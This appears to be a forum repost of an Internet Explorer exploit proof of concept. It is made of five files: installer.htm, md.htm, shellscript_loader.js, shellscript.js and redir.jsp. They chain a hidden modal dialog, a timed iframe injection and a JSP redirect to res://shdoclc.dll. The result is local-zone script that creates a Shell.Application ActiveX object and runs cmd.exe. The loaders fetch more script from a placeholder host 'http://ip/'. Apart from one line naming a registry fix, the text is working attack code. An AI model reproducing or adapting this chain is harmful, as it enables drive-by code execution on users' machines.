文章作者：Jelmer
Solution : The IEFix.reg registry file will protect you from this new variant/exploit
----------------------------------------------------- installer.htm -------------------------------------------------------
复制内容到剪贴板
代码:
<html>
<body>
<script language="Javascript">
function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialogHeight:1\;
dialogWidth:1\;").location="vbscript:\"<SCRIPT SRC='[url]http://ip/shellscript_loader.js[/url]'><\/script>\"";
}
</script>
<script language="javascript">
setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.jsp" style=display:none;></IFRAME>');
</script>
</body>
</html>--------------------------------------------------------- md.htm ---------------------------------------------------------
复制内容到剪贴板
代码:
<SCRIPT language="javascript">
window.returnValue = window.dialogArguments;
function CheckStatus(){
try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
setTimeout("CheckStatus()",100);
}
CheckStatus();
</SCRIPT>--------------------------------------------------- shellscript_loader.js ---------------------------------------------------
复制内容到剪贴板
代码:
function getRealShell() {
myiframe.document.write("<SCRIPT SRC='[url]http://ip/shellscript.js[/url]'><\/SCRIPT>");
}
document.write("<IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200></IFRAME>");
setTimeout("getRealShell()",100);------------------------------------------------------- shellscript.js -------------------------------------------------------
复制内容到剪贴板
代码:
function injectIt() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin','injected<script language=
"JScript" DEFER>var obj=new ActiveXObject("Shell.Application");obj.ShellExecute("cmd.exe","/c pause");</script>');
}
document.write('<iframe src="shell:WINDOWS\\Web\\TIP.HTM"></iframe>');
setTimeout("injectIt()", 1000);--------------------------------------------------------- redir.jsp ----------------------------------------------------------
复制内容到剪贴板
代码:
<% Thread.sleep(1500);
response.setStatus(302);
response.setHeader("Location", "URL:res://shdoclc.dll/HTTP_501.htm");
%>
